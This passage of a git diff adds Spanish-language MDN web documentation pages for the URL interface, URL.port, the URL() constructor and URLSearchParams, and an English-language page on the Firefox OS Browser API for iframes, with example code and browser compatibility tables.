+ <dt>{{domxref("URL.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("URL.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("URL.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("URL.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("URL.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("URL.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("URL.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("URL.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.searchParams")}}</dt>
+ <dd>Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.</dd>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "URL()")}}</dt>
+ <dd>Creates and return a <code>URL</code> object composed from the given parameters.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>URL</code> interface implements methods defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Static_methods">Static methods</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing a unique blob URL, that is a URL with <code>blob:</code> as its scheme, followed by an opaque string uniquely identifying the object in the browser.</dd>
+ <dt>{{domxref("URL.revokeObjectURL()")}}</dt>
+ <dd>Revokes an object URL previously created using {{domxref("URL.createObjectURL()")}}.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Added the static methods <code>URL.createObjectURL()</code> and <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'Node')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition (implements <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>In Development<sup>[5]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1][3]</sup><br>
+    {{CompatGeckoDesktop("19.0")}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>15.0<sup>[2]</sup><br>
+    19</td>
+   <td>6.0<sup>[2]</sup><br>
+    7.0</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>36</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4<sup>[2]</sup><br>
+    4.4</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>{{CompatGeckoMobile("14.0")}}<sup>[1][3]</sup><br>
+    {{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>4.4</td>
+   <td>32</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Gecko 2 (Firefox 4) to Gecko 18 included, Gecko supported this interface with the non-standard <code>nsIDOMMozURLProperty</code> internal type. As the only to access such an object was through {{domxref("window.URL")}}, in practice, this didn't make any difference.</p>
+
+<p>[2] This feature is implemented under the non-standard name <code>webkitURL</code>.</p>
+
+<p>[3] For Firefox, to use from chrome code, JSM and Bootstrap scope, you have to import it like this:</p>
+
+<pre class="brush: js">Cu.importGlobalProperties(['URL']);
+</pre>
+
+<p><code>URL</code> is available in Worker scopes.</p>
+
+<p>[4] As of IE11, instantiating new URL objects is not supported - ie. new URL() does not work. </p>
+
+<p>[5] Edge in development: see https://developer.microsoft.com/en-us/microsoft-edge/platform/status/urlapi/  and https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6263638-url-api</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Property allowing to get such an object: {{domxref("Window.URL")}}.</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/es/web/api/url/port/index.html b/files/es/web/api/url/port/index.html
new file mode 100644
index 0000000000..fea61df62a
--- /dev/null
+++ b/files/es/web/api/url/port/index.html
@@ -0,0 +1,55 @@
+---
+title: URL.port
+slug: Web/API/URL/port
+translation_of: Web/API/URL/port
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>La propiedad <strong><code>port</code></strong> de la interfaz {{domxref("URL")}} es un {{domxref("USVString")}} que contiene el número de puerto de la URL. Si la URL no contiene un número de puerto explícito, se establecerá <code>''</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.port;
+<em>object</em>.port = <em>string</em>;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref("USVString")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var url = new URL('<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-string">https://mydomain.com:80/svn/Repos/</span></span></span></span>');
+var result = url.port; // Devuelve:'80'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-port', 'URL.port')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte https://github.com/mdn/browser-compat-data y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.URL.port")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz {{domxref("URL")}} a la que pertenece.</li>
+</ul>
diff --git a/files/es/web/api/url/url/index.html b/files/es/web/api/url/url/index.html
new file mode 100644
index 0000000000..978a7de9f9
--- /dev/null
+++ b/files/es/web/api/url/url/index.html
@@ -0,0 +1,99 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+translation_of: Web/API/URL/URL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">El constructor </span></font><strong>URL()</strong></code> devuelve un objeto {{domxref("URL")}} recién creado que representa la URL definida por los parámetros.</p>
+
+<p>Si la URL base dada o la URL resultante no son URL válidas, se lanza un {{domxref("DOMException")}}  de tipo <code>SYNTAX_ERROR</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>url</em> = new URL(<em>url</em>, [<em>base</em>])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Un {{domxref("USVString")}} que representa una URL absoluta o relativa. Si <em>url</em> es una URL relativa, se requiere <em>base</em>, y se usará como URL base. Si url es una URL absoluta, se ignorará una <em>base</em> determinada.</dd>
+ <dt><code>base</code><em> </em>{{optional_inline}}</dt>
+ <dd>Un {{domxref("USVString")}} representa la URL base a usar en caso de que la URL sea una URL relativa. Si no se especifica, el valor predeterminado es <code>''</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota</strong>: Aún puede usar un objeto {{domxref("URL")}} existente para la base, que se enchufa al atributo  {{domxref("DOMString.href","href")}} del objeto.</p>
+</div>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Explicación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td><em>url</em> (en el caso de URL absolutas) o <em>base</em> + <em>url</em> (en el caso de URL relativas) no es una URL válida.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Urls base
+var m = 'https://developer.mozilla.org';
+var a = new URL("/", m);                                // =&gt; 'https://developer.mozilla.org/'
+var b = new URL(m);                                     // =&gt; 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // =&gt; 'https://developer.mozilla.org/en-US/docs'
+var d = new URL('/en-US/docs', b);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Provoca una excepción TypeError ya que '' no es una URL válida
+        new URL('/en-US/docs');                        // Provoca una excepción TypeError ya que '/en-US/docs' no es una URL válida
+        new URL('http://www.example.com', );           // =&gt; 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // =&gt; 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // =&gt; 'https://foo.com' (ver URL relativas)
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte https://github.com/mdn/browser-compat-data y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.URL.URL")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz a la que pertenece: {{domxref("URL")}}.</li>
+</ul>
diff --git a/files/es/web/api/urlsearchparams/index.html b/files/es/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..ec3433af72
--- /dev/null
+++ b/files/es/web/api/urlsearchparams/index.html
@@ -0,0 +1,204 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>La interfaz <strong><code>URLSearchParams</code></strong> define métodos útiles para trabajar con los parámetros de búsqueda de una URL.</p>
+
+<p>Un objeto implementando <code>URLSearchParams</code> puede directamente ser usado en una {{jsxref("Statements/for...of", "for...of")}} estructura, en lugar de {{domxref('URLSearchParams.entries()', 'entries()')}}: <code>for (var p of mySearchParams)</code> la cual es equivalente a <code>for (var p of mySearchParams.entries())</code>.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd>El Constructor returna un objeto de tipo <code>URLSearchParams</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz no hereda ninguna propiedad.</em></p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz no hereda ningún método.</em></p>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>Agrega el par de llave/valor especificado como un nuevo parámetro de búsqueda.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>Elimina el parámetro de búsqueda especificado, y su valor asociado, de la lista de todos los parámetros de búsqueda.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>Returna un {{jsxref("Iteration_protocols","iterator")}} que permite iterar a traves de todos los pares de llave/valor que contiene el objeto.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>Returna el primer valor asociado al parámetro de búsqueda especificado.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>Returna todas los valores asociados con el parámetro de búsqueda especificado.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>Returna un {{jsxref("Boolean")}} que indica si el parametro de búsqueda especificado existe.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>Returna un {{jsxref("Iteration_protocols", "iterator")}} que permite iterar a través de todas las <strong>llaves </strong>de los pares de llave/valor que contiene un objeto.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>Establece el valor al parámetro de búsqueda asociado con el valor dado. Si hay varios valores, elimina los demás.</dd>
+ <dt>{{domxref("URLSearchParams.sort()")}}</dt>
+ <dd>Organiza todos los pares de llave/valor, si existen, por sus llaves.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>Returna una cadena de texto que contiene un parámetro de consulta adecuado para utilizar en una URL.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>Returna un {{jsxref("Iteration_protocols", "iterator")}} que permite iterar a través de todos los <strong>valores </strong>de los pares de llave/valor que contiene un objeto.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api"
+var searchParams = new URLSearchParams(paramsString);
+
+//Itera los parámetros de búsqueda.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>36</td>
+   <td>10.1</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, and support of <code>for...of</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>36</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>USVString</code> for constructor <code>init</code> object</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Record for constructor <code>init</code> object</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("54.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, and support of <code>for...of</code></td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>USVString</code> for constructor <code>init</code> object</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Record for constructor <code>init</code> object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("54.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Otras interfaces relacionadas con URL: {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Fácil manipulación de una URL con URLSearchParams</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/es/web/api/urlsearchparams/urlsearchparams/index.html b/files/es/web/api/urlsearchparams/urlsearchparams/index.html
new file mode 100644
index 0000000000..0cfe5f28df
--- /dev/null
+++ b/files/es/web/api/urlsearchparams/urlsearchparams/index.html
@@ -0,0 +1,78 @@
+---
+title: URLSearchParams()
+slug: Web/API/URLSearchParams/URLSearchParams
+tags:
+  - API
+  - API URL
+  - Constructor
+  - Referencia
+  - URLSearchParams
+translation_of: Web/API/URLSearchParams/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>El constructor <code><strong>URLSearchParams()</strong></code> crea y retorna un nuevo objeto {{domxref("URLSearchParams")}}. Si se incluye el caracter <code>'?'</code> al comienzo, éste es ignorado.</p>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>URLSearchParams</em> = new URLSearchParams(<em>init</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><code>init</code></em> {{optional_inline}}</dt>
+ <dd>Una instancia de {{domxref("USVString")}}, una secuencia de {{domxref("USVString")}}s, o un registro conteniendo dos {{domxref("USVString")}}s.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Un objeto instancia de {{domxref("URLSearchParams")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo muestra cómo crear un objeto {{domxref("URLSearchParams")}} desde un string que representa una URL.</p>
+
+<pre class="brush: js">// Pasar un literal string
+var url = new URL('https://example.com?foo=1&amp;bar=2');
+// Obtener la URL actual desde window.location
+var url2 = new URL(window.location);
+
+// Obtener parámetros de url.search y pasarlos al constructor
+var params = new URLSearchParams(url.search);
+var params2 = new URLSearchParams(url2.search);
+
+// Pasar una secuencia
+var params3 = new URLSearchParams([["foo", 1],["bar", 2]]);
+
+// Pasar un registro
+var params4 = new URLSearchParams({"foo" : 1 , "bar" : 2});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#dom-urlsearchparams-urlsearchparams', "URLSearchParams()")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_browsers">Compatibilidad de browsers</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si te gustaría contribuir a estos datos, por favor clona el repositorio <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("api.URLSearchParams.URLSearchParams")}}</p>
+</div>
diff --git a/files/es/web/api/using_the_browser_api/index.html b/files/es/web/api/using_the_browser_api/index.html
new file mode 100644
index 0000000000..31fb24d2fb
--- /dev/null
+++ b/files/es/web/api/using_the_browser_api/index.html
@@ -0,0 +1,159 @@
+---
+title: Using the browser API
+slug: Web/API/Using_the_Browser_API
+translation_of: Mozilla/Gecko/Chrome/API/Browser_API/Using
+---
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('privileged') }}</p>
+<h2 id="Summary">Summary</h2>
+<p>The HTML Browser API is an extension of the HTML {{HTMLElement("iframe")}} element that allows web apps to implement browsers or browser-like applications. This entails two major aspects:</p>
+<ul>
+ <li>Make the <code>iframe</code> appear like a top-level browser window to the embedded content. This means that <span id="summary_alias_container"><span id="short_desc_nonedit_display"><a href="/en-US/docs/DOM/window.top" title="/en-US/docs/DOM/window.top"><code>window.top</code></a>, <a href="/en-US/docs/DOM/window.parent" title="/en-US/docs/DOM/window.parent"><code>window.parent</code></a>, <a href="/en-US/docs/DOM/window.frameElement" title="/en-US/docs/DOM/window.frameElement"><code>window.frameElement</code></a>, etc. should <em>not</em> reflect the frame hierarchy.</span></span> Optionally, the notion that the embedded is an Open Web App can be expressed as well.</li>
+ <li>An API to manipulate and listen for changes to the embedded content's state.</li>
+</ul>
+<p>In addition to that, it's also possible to express the notion that the embedded content is an <a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Open Web App</a>. In that case the content is loaded within the appropriate app context (such as permissions).</p>
+<h2 id="Usage">Usage</h2>
+<p>An {{HTMLElement("iframe")}} is turned into a browser frame by setting the {{htmlattrxref("mozbrowser","iframe")}} attribute:</p>
+<pre class="brush: html">&lt;iframe src="http://hostname.tld" mozbrowser&gt;</pre>
+<p>In order to embed an Open Web App, the {{htmlattrxref("mozapp","iframe")}} attribute must also be supplied, with the path to the app's manifest:</p>
+<pre>&lt;iframe src="http://hostname.tld" mozapp='http://path/to/manifest.webapp' mozbrowser&gt;</pre>
+<p>At last the content of the {{HTMLElement("iframe")}} can be loaded in its own child process, separate to the page embedding this frame by using the {{htmlattrxref("remote","iframe")}} attribute.</p>
+<pre>&lt;iframe src="http://hostname.tld" mozbrowser remote&gt;</pre>
+<div class="warning">
+ <p><strong>Warning:</strong> That last attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin. If you don't use it, you take the risk of your application being compromised by a malicious web site.</p>
+</div>
+<h2 id="Permissions">Permissions</h2>
+<p>Any application that wants to embed a browser frame must have the <code>browser</code> permission within its <a href="/en-US/docs/Web/Apps/Manifest" title="/en-US/docs/Web/Apps/Manifest">app manifest</a>.</p>
+<pre class="brush: json">{
+  "permissions": {
+    "browser": {}
+  }
+}</pre>
+<p>Additionally, to embed an Open Web App, the app must have the <code>embed-apps</code> permission.</p>
+<pre class="brush: json">{
+  "permissions": {
+    "browser": {},
+    "embed-apps": {}
+  }
+}</pre>
+<h2 id="Extra_methods">Extra methods</h2>
+<p>To support the requirement of a browser {{HTMLElement("iframe")}}, Firefox OS extends the {{domxref("HTMLIFrameElement")}} DOM interface. Those new methods gives the {{HTMLElement("iframe")}} some super powers:</p>
+<h3 id="Navigation_methods">Navigation methods</h3>
+<p>Those methods allow navigating through the browsing history of the {{HTMLElement("iframe")}}. They are necessary to be able to implement back, forward, stop, and reload buttons.</p>
+<ul>
+ <li>{{domxref("HTMLIFrameElement.reload","reload()")}}: Allows reloading the content of the {{HTMLElement("iframe")}}.</li>
+ <li>{{domxref("HTMLIFrameElement.stop","stop()")}}: Allows stopping the loading of the {{HTMLElement("iframe")}}'s content.</li>
+ <li>{{domxref("HTMLIFrameElement.getCanGoBack","getCanGoBack()")}}: Allows knowing if it's possible to navigate backward.</li>
+ <li>{{domxref("HTMLIFrameElement.goBack","goBack()")}}: Changes the location of the {{HTMLElement("iframe")}} for the previous location in its browsing history.</li>
+ <li>{{domxref("HTMLIFrameElement.getCanGoForward","getCanGoForward()")}}: Allows knowing if it's possible to navigate forward.</li>
+ <li>{{domxref("HTMLIFrameElement.goForward","goForward()")}}: Changes the location of the {{HTMLElement("iframe")}} for the next location in its browsing history.</li>
+</ul>
+<h3 id="Performance_methods">Performance methods</h3>
+<p>Those methods are used to manage the resources used by a browser {{HTMLElement("iframe")}}. This is especially useful for implementing tabbed browser application.</p>
+<ul>
+ <li>{{domxref("HTMLIFrameElement.setVisible","setVisible()")}}: Changes the visibility state of a browser {{HTMLElement("iframe")}}. This can influence resources allocation and some function usage such as {{domxref("window.requestAnimationFrame","requestAnimationFrame")}}.</li>
+ <li>{{domxref("HTMLIFrameElement.getVisible","getVisible()")}}: Allows knowing the current visibility state of the browser {{HTMLElement("iframe")}}.</li>
+ <li>{{domxref("HTMLIFrameElement.purgeHistory","purgeHistory()")}}: Allows clearing all the resources (cookies, localStorage, cache, etc.) associated with the browser {{HTMLElement("iframe")}}.</li>
+</ul>
+<h3 id="Event_methods">Event methods</h3>
+<p>In order to manage the browser {{HTMLElement("iframe")}}'s content, many new events were added (see below). The following methods are used to deal with those events:</p>
+<ul>
+ <li>The {{HTMLElement("iframe")}} gains support for the methods of the {{domxref("EventTarget")}} interface: {{domxref("EventTarget.addEventListener","addEventListener()")}}, {{domxref("EventTarget.removeEventListener","removeEventListener()")}}, and {{domxref("EventTarget.dispatchEvent","dispatchEvent()")}}.</li>
+ <li>{{domxref("HTMLIFrameElement.sendMouseEvent","sendMouseEvent()")}}: Allows sending a {{domxref("MouseEvent")}} to the {{HTMLElement("iframe")}}'s content.</li>
+ <li>{{domxref("HTMLIFrameElement.sendTouchEvent","sendTouchEvent()")}}: Allows sending a {{domxref("TouchEvent")}} to the {{HTMLElement("iframe")}}'s content. Note that this method is available for touch enabled devices only.</li>
